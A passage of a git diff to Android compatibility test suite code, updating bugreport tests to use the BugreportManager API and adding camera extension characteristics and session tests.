+//        eventually(() -> assertEquals(MODE_FOREGROUND, getAppOp(APP22, ACCESS_FINE_LOCATION)));
+//    }
 
     /**
      * Test backup and restore of foreground runtime permission.
diff --git a/tests/bugreport/Android.bp b/tests/bugreport/Android.bp
index 8a25c4a..d008efb 100644
--- a/tests/bugreport/Android.bp
+++ b/tests/bugreport/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsBugreportTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/bugreport/AndroidTest.xml b/tests/bugreport/AndroidTest.xml
index bdb66bb..0f55128 100644
--- a/tests/bugreport/AndroidTest.xml
+++ b/tests/bugreport/AndroidTest.xml
@@ -26,6 +26,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.bugreport.cts" />
-        <option name="runtime-hint" value="3m40s" />
+        <option name="runtime-hint" value="18m40s" />
     </test>
 </configuration>
diff --git a/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java b/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
index bea0dd1..247920f 100644
--- a/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
+++ b/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
@@ -24,6 +24,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.os.BugreportManager;
 import android.os.BugreportParams;
 import android.util.Pair;
@@ -50,15 +51,23 @@
     // associated to this bugreport)
     private static final String INTENT_BUGREPORT_FINISHED =
             "com.android.internal.intent.action.BUGREPORT_FINISHED";
+    private static final String INTENT_REMOTE_BUGREPORT_DISPATCH =
+            "android.intent.action.REMOTE_BUGREPORT_DISPATCH";
+    private static final String REMOTE_BUGREPORT_MIMETYPE = "application/vnd.android.bugreport";
     private static final String EXTRA_BUGREPORT = "android.intent.extra.BUGREPORT";
     private static final String EXTRA_SCREENSHOT = "android.intent.extra.SCREENSHOT";
     private static final String BUGREPORT_SERVICE = "bugreportd";
 
     private Context mContext;
+    private BugreportManager mBugreportManager;
+
+    private boolean mIsTv;
 
     @Before
     public void setup() {
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        mBugreportManager = mContext.getSystemService(BugreportManager.class);
+        mIsTv = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
         // Kill current bugreport, so that it does not interfere with future bugreports.
         runShellCommand("setprop ctl.stop " + BUGREPORT_SERVICE);
     }
@@ -82,11 +91,7 @@
         String bugreport = brFiles.first;
         String screenshot = brFiles.second;
 
-        assertThat(bugreport).startsWith(
-                "/data/user_de/0/com.android.shell/files/bugreports/bugreport-");
-        assertThat(bugreport).endsWith(".zip");
-        // telephony bugreport contains "telephony" in the bugreport name
-        assertThat(bugreport).contains("-telephony-");
+        assertBugreportFileNameCorrect(bugreport, "-telephony-" /* suffixName */);
         assertThatFileisNotEmpty(bugreport);
         // telephony bugreport does not take any screenshot
         assertThat(screenshot).isNull();
@@ -99,17 +104,86 @@
         String bugreport = brFiles.first;
         String screenshot = brFiles.second;
 
-        assertThat(bugreport).startsWith(
-                "/data/user_de/0/com.android.shell/files/bugreports/bugreport-");
-        assertThat(bugreport).endsWith(".zip");
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
         assertThatFileisNotEmpty(bugreport);
         // full bugreport takes a default screenshot
-        assertThat(screenshot).startsWith(
-                "/data/user_de/0/com.android.shell/files/bugreports/screenshot-");
-        assertThat(screenshot).endsWith("-default.png");
+        assertScreenshotFileNameCorrect(screenshot);
         assertThatFileisNotEmpty(screenshot);
     }
 
+    @LargeTest
+    @Test
+    public void testInteractiveBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_INTERACTIVE);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // tv does not support screenshot button in the ui, interactive bugreport takes a
+        // default screenshot.
+        if (mIsTv) {
+            assertScreenshotFileNameCorrect(screenshot);
+            assertThatFileisNotEmpty(screenshot);
+        } else {
+            assertThat(screenshot).isNull();
+        }
+    }
+
+    @Test
+    public void testWifiBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_WIFI);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, "-wifi-" /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // wifi bugreport does not take any screenshot
+        assertThat(screenshot).isNull();
+    }
+
+    @LargeTest
+    @Test
+    public void testRemoteBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_REMOTE);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // remote bugreport does not take any screenshot
+        assertThat(screenshot).isNull();
+    }
+
+    @LargeTest
+    @Test
+    public void testWearBugreport() throws Exception {
+        Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_WEAR);
+        String bugreport = brFiles.first;
+        String screenshot = brFiles.second;
+
+        assertBugreportFileNameCorrect(bugreport, null /* suffixName */);
+        assertThatFileisNotEmpty(bugreport);
+        // wear bugreport takes a default screenshot
+        assertScreenshotFileNameCorrect(screenshot);
+        assertThatFileisNotEmpty(screenshot);
+    }
+
+    private void assertBugreportFileNameCorrect(String fileName, String suffixName) {
+        assertThat(fileName).startsWith(
+                "/data/user_de/0/com.android.shell/files/bugreports/bugreport-");
+        assertThat(fileName).endsWith(".zip");
+        if (suffixName != null) {
+            assertThat(fileName).contains(suffixName);
+        }
+    }
+
+    private void assertScreenshotFileNameCorrect(String fileName) {
+        assertThat(fileName).startsWith(
+                "/data/user_de/0/com.android.shell/files/bugreports/screenshot-");
+        assertThat(fileName).endsWith("-default.png");
+    }
+
     private void assertThatFileisNotEmpty(String file) throws Exception {
         String[] fileInfo = runShellCommand("ls -l " + file).split(" ");
         // Example output of ls -l: -rw------- 1 shell shell 27039619 2020-04-27 12:36 fileName.zip
@@ -150,18 +224,17 @@
 
     private Pair<String, String> triggerBugreport(int type) throws Exception {
         BugreportBroadcastReceiver br = new BugreportBroadcastReceiver();
-        mContext.registerReceiver(br, new IntentFilter(INTENT_BUGREPORT_FINISHED));
-
-        String shellCommand = "am bug-report";
-        switch (type) {
-            case BugreportParams.BUGREPORT_MODE_TELEPHONY:
-                shellCommand = shellCommand.concat(" --telephony");
-            case BugreportParams.BUGREPORT_MODE_FULL:
-                // default (no arg) takes full bugreport
-                break;
+        final IntentFilter intentFilter;
+        if (type == BugreportParams.BUGREPORT_MODE_REMOTE) {
+            intentFilter = new IntentFilter(INTENT_REMOTE_BUGREPORT_DISPATCH,
+                    REMOTE_BUGREPORT_MIMETYPE);
+        } else {
+            intentFilter = new IntentFilter(INTENT_BUGREPORT_FINISHED);
         }
-        String res = runShellCommand(shellCommand).trim();
-        assertThat(res).isEqualTo("Your lovely bug report is being created; please be patient.");
+        mContext.registerReceiver(br, intentFilter);
+        final BugreportParams params = new BugreportParams(type);
+        mBugreportManager.requestBugreport(params, "" /* shareTitle */, "" /* shareDescription */);
+
         try {
             br.waitForBugreportFinished();
         } finally {
@@ -171,6 +244,8 @@
         }
 
         Intent response = br.getBugreportFinishedIntent();
+        assertThat(response.getAction()).isEqualTo(intentFilter.getAction(0));
+
         String bugreport = response.getStringExtra(EXTRA_BUGREPORT);
         String screenshot = response.getStringExtra(EXTRA_SCREENSHOT);
         return new Pair<String, String>(bugreport, screenshot);
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
index 6cb0cee..bf39750 100644
--- a/tests/camera/Android.bp
+++ b/tests/camera/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 // Reusable Camera performance test classes and helpers
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_library {
     name: "cts-camera-performance-tests",
 
diff --git a/tests/camera/AndroidManifest.xml b/tests/camera/AndroidManifest.xml
index e3e4a63..7426c65 100644
--- a/tests/camera/AndroidManifest.xml
+++ b/tests/camera/AndroidManifest.xml
@@ -84,6 +84,11 @@
             android:process=":mediaRecorderCameraActivityProcess">
         </activity>
 
+        <activity android:name="android.hardware.camera2.cts.CameraExtensionTestActivity"
+            android:label="CameraExtensionTestActivity"
+            android:screenOrientation="locked"
+            android:configChanges="keyboardHidden|orientation|screenSize">
+        </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index b7fb561..b482853 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -17,8 +17,6 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE    := libctscamera2_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 4374db9..80e8f69 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -2520,6 +2520,17 @@
                     CaptureRequest.DISTORTION_CORRECTION_MODE_OFF);
         }
 
+        // Scaler settings
+        if (mStaticInfo.areKeysAvailable(
+                CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES)) {
+            List<Integer> rotateAndCropModes = Arrays.asList(toObject(
+                props.get(CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES)));
+            if (rotateAndCropModes.contains(SCALER_ROTATE_AND_CROP_AUTO)) {
+                mCollector.expectKeyValueEquals(request, SCALER_ROTATE_AND_CROP,
+                        CaptureRequest.SCALER_ROTATE_AND_CROP_AUTO);
+            }
+        }
+
         // Check JPEG quality
         if (mStaticInfo.isColorOutputSupported()) {
             mCollector.expectKeyValueNotNull(request, JPEG_QUALITY);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
new file mode 100644
index 0000000..4b68250
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.hardware.camera2.cts;
+
+import android.content.Context;
+import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
+import android.hardware.camera2.CameraExtensionCharacteristics;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
+import android.renderscript.Allocation;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import static org.junit.Assert.*;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class CameraExtensionCharacteristicsTest {
+    private static final String TAG = "CameraExtensionManagerTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final List<Integer> EXTENSIONS = Arrays.asList(
+            CameraExtensionCharacteristics.EXTENSION_AUTOMATIC,
+            CameraExtensionCharacteristics.EXTENSION_BEAUTY,
+            CameraExtensionCharacteristics.EXTENSION_BOKEH,
+            CameraExtensionCharacteristics.EXTENSION_HDR,
+            CameraExtensionCharacteristics.EXTENSION_NIGHT);
+
+    private final Context mContext = InstrumentationRegistry.getTargetContext();
+
+    @Rule
+    public final Camera2AndroidTestRule mTestRule = new Camera2AndroidTestRule(mContext);
+
+    private void openDevice(String cameraId) throws Exception {
+        mTestRule.setCamera(CameraTestUtils.openCamera(
+                mTestRule.getCameraManager(), cameraId,
+                mTestRule.getCameraListener(), mTestRule.getHandler()));
+        mTestRule.getCollector().setCameraId(cameraId);
+        mTestRule.setStaticInfo(new StaticMetadata(
+                mTestRule.getCameraManager().getCameraCharacteristics(cameraId),
+                StaticMetadata.CheckLevel.ASSERT, /*collector*/null));
+    }
+
+    private <T> void verifySupportedExtension(CameraExtensionCharacteristics chars, String cameraId,
+            Integer extension, Class<T> klass) {
+        List<Size> availableSizes = chars.getExtensionSupportedSizes(extension, klass);
+        assertTrue(String.format("Supported extension %d on camera id: %s doesn't " +
+                        "include any valid resolutions!", extension, cameraId),
+                (availableSizes != null) && (!availableSizes.isEmpty()));
+    }
+
+    private <T> void verifySupportedSizes(CameraExtensionCharacteristics chars, String cameraId,
+            Integer extension, Class<T> klass) throws Exception {
+        verifySupportedExtension(chars, cameraId, extension, klass);
+        try {
+            openDevice(cameraId);
+            List<Size> extensionSizes = chars.getExtensionSupportedSizes(extension, klass);
+            List<Size> cameraSizes = Arrays.asList(
+                    mTestRule.getStaticInfo().getAvailableSizesForFormatChecked(ImageFormat.PRIVATE,
+                            StaticMetadata.StreamDirection.Output));
+            for (Size extensionSize : extensionSizes) {
+                assertTrue(String.format("Supported extension %d on camera id: %s advertises " +
+                                " resolution %s unsupported by camera", extension, cameraId,
+                        extensionSize), cameraSizes.contains(extensionSize));
+            }
+        } finally {
+            mTestRule.closeDevice(cameraId);
+        }
+    }
+
+    private <T> void verifyUnsupportedExtension(CameraExtensionCharacteristics chars,
+            Integer extension, Class<T> klass) {
+        try {
+            chars.getExtensionSupportedSizes(extension, klass);
+            fail("should get IllegalArgumentException due to unsupported extension");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testExtensionAvailability() throws Exception {
+        for (String id : mTestRule.getCameraIdsUnderTest()) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorOutputSupported()) {
+                continue;
+            }
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            ArrayList<Integer> unsupportedExtensions = new ArrayList<>(EXTENSIONS);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                verifySupportedExtension(extensionChars, id, extension, SurfaceTexture.class);
+                unsupportedExtensions.remove(extension);
+            }
+
+            // Unsupported extension size queries must throw corresponding exception.
+            for (Integer extension : unsupportedExtensions) {
+                verifyUnsupportedExtension(extensionChars, extension, SurfaceTexture.class);
+            }
+        }
+    }
+
+    @Test
+    public void testExtensionSizes() throws Exception {
+        for (String id : mTestRule.getCameraIdsUnderTest()) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorOutputSupported()) {
+                continue;
+            }
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                verifySupportedSizes(extensionChars, id, extension, SurfaceTexture.class);
+            }
+        }
+    }
+
+    @Test
+    public void testIllegalArguments() throws Exception {
+        try {
+            mTestRule.getCameraManager().getCameraExtensionCharacteristics("InvalidCameraId!");
+            fail("should get IllegalArgumentException due to invalid camera id");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+
+        for (String id : mTestRule.getCameraIdsUnderTest()) {
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                try {
+                    extensionChars.getExtensionSupportedSizes(extension, ImageFormat.UNKNOWN);
+                    fail("should get IllegalArgumentException due to invalid pixel format");
+                } catch (IllegalArgumentException e) {
+                    // Expected
+                }
+
+                try {
+                    List<Size> ret = extensionChars.getExtensionSupportedSizes(extension,
+                            Allocation.class);
+                    assertTrue("should get empty resolution list for unsupported " +
+                            "surface type", ret.isEmpty());
+                } catch (IllegalArgumentException e) {
+                    fail("should not get IllegalArgumentException due to unsupported surface " +
+                            "type");
+                }
+            }
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
new file mode 100644
index 0000000..ae0f5d8
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionSessionTest.java
@@ -0,0 +1,1023 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyLong;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+import com.android.ex.camera2.blocking.BlockingExtensionSessionCallback;
+import com.android.ex.camera2.exceptions.TimeoutRuntimeException;
+
+import android.graphics.ImageFormat;
+import android.graphics.SurfaceTexture;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraExtensionCharacteristics;
+import android.hardware.camera2.CameraExtensionSession;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
+import android.hardware.camera2.params.ExtensionSessionConfiguration;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
+import android.media.Image;
+import android.media.ImageReader;
+import android.util.Size;
+
+import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static android.hardware.cts.helpers.CameraUtils.*;
+
+import android.util.Log;
+import android.view.Surface;
+import android.view.TextureView;
+
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+@RunWith(Parameterized.class)
+public class CameraExtensionSessionTest extends Camera2ParameterizedTestCase {
+    private static final String TAG = "CameraExtensionSessionTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final long WAIT_FOR_COMMAND_TO_COMPLETE_MS = 5000;
+    private static final long REPEATING_REQUEST_TIMEOUT_MS = 5000;
+    public static final int MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS = 10000;
+
+    private SurfaceTexture mSurfaceTexture = null;
+    private Camera2AndroidTestRule mTestRule = null;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mTestRule = new Camera2AndroidTestRule(mContext);
+        mTestRule.before();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mTestRule != null) {
+            mTestRule.after();
+        }
+        if (mSurfaceTexture != null) {
+            mSurfaceTexture.release();
+            mSurfaceTexture = null;
+        }
+        super.tearDown();
+    }
+
+    @Rule
+    public ActivityTestRule<CameraExtensionTestActivity> mActivityRule =
+            new ActivityTestRule<>(CameraExtensionTestActivity.class);
+
+    private void updatePreviewSurfaceTexture() {
+        if (mSurfaceTexture != null) {
+            return;
+        }
+
+        TextureView textureView = mActivityRule.getActivity().getTextureView();
+        mSurfaceTexture = getAvailableSurfaceTexture(WAIT_FOR_COMMAND_TO_COMPLETE_MS, textureView);
+        assertNotNull("Failed to acquire valid preview surface texture!", mSurfaceTexture);
+    }
+
+    // Verify that camera extension sessions can be created and closed as expected.
+    @Test
+    public void testBasicExtensionLifecycle() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                OutputConfiguration outputConfig = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                        new Surface(mSurfaceTexture));
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(outputConfig);
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(
+                                mock(CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+
+                    extensionSession.close();
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+                } finally {
+                    mTestRule.closeDevice(id);
+                }
+            }
+        }
+    }
+
+    // Verify that regular camera sessions close as expected after creating a camera extension
+    // session.
+    @Test
+    public void testCloseCaptureSession() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                ImageReader privateReader = CameraTestUtils.makeImageReader(maxSize,
+                        ImageFormat.PRIVATE, /*maxImages*/ 3, new ImageDropperListener(),
+                        mTestRule.getHandler());
+                OutputConfiguration privateOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, privateReader.getSurface());
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(privateOutput);
+                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
+                        mock(CameraCaptureSession.StateCallback.class));
+                SessionConfiguration regularConfiguration = new SessionConfiguration(
+                        SessionConfiguration.SESSION_REGULAR, outputConfigs,
+                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
+
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                Surface repeatingSurface = new Surface(mSurfaceTexture);
+                OutputConfiguration textureOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, repeatingSurface);
+                List<OutputConfiguration> outputs = new ArrayList<>();
+                outputs.add(textureOutput);
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    mTestRule.getCamera().createCaptureSession(regularConfiguration);
+
+                    CameraCaptureSession session =
+                            regularSessionListener
+                                    .waitAndGetSession(SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(session);
+
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    regularSessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    extensionSession.close();
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+                } finally {
+                    mTestRule.closeDevice(id);
+                    mTestRule.closeImageReader(privateReader);
+                }
+            }
+        }
+    }
+
+    // Verify that camera extension sessions close as expected when creating a regular capture
+    // session.
+    @Test
+    public void testCloseExtensionSession() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                ImageReader privateReader = CameraTestUtils.makeImageReader(maxSize,
+                        ImageFormat.PRIVATE, /*maxImages*/ 3, new ImageDropperListener(),
+                        mTestRule.getHandler());
+                OutputConfiguration privateOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, privateReader.getSurface());
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(privateOutput);
+                BlockingSessionCallback regularSessionListener = new BlockingSessionCallback(
+                        mock(CameraCaptureSession.StateCallback.class));
+                SessionConfiguration regularConfiguration = new SessionConfiguration(
+                        SessionConfiguration.SESSION_REGULAR, outputConfigs,
+                        new HandlerExecutor(mTestRule.getHandler()), regularSessionListener);
+
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                Surface surface = new Surface(mSurfaceTexture);
+                OutputConfiguration textureOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, surface);
+                List<OutputConfiguration> outputs = new ArrayList<>();
+                outputs.add(textureOutput);
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    mTestRule.getCamera().createCaptureSession(regularConfiguration);
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    CameraCaptureSession session =
+                            regularSessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    session.close();
+                    regularSessionListener.getStateWaiter().waitForState(
+                            BlockingSessionCallback.SESSION_CLOSED, SESSION_CLOSE_TIMEOUT_MS);
+                } finally {
+                    mTestRule.closeDevice(id);
+                    mTestRule.closeImageReader(privateReader);
+                }
+            }
+        }
+    }
+
+    // Verify camera device query
+    @Test
+    public void testGetDevice() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
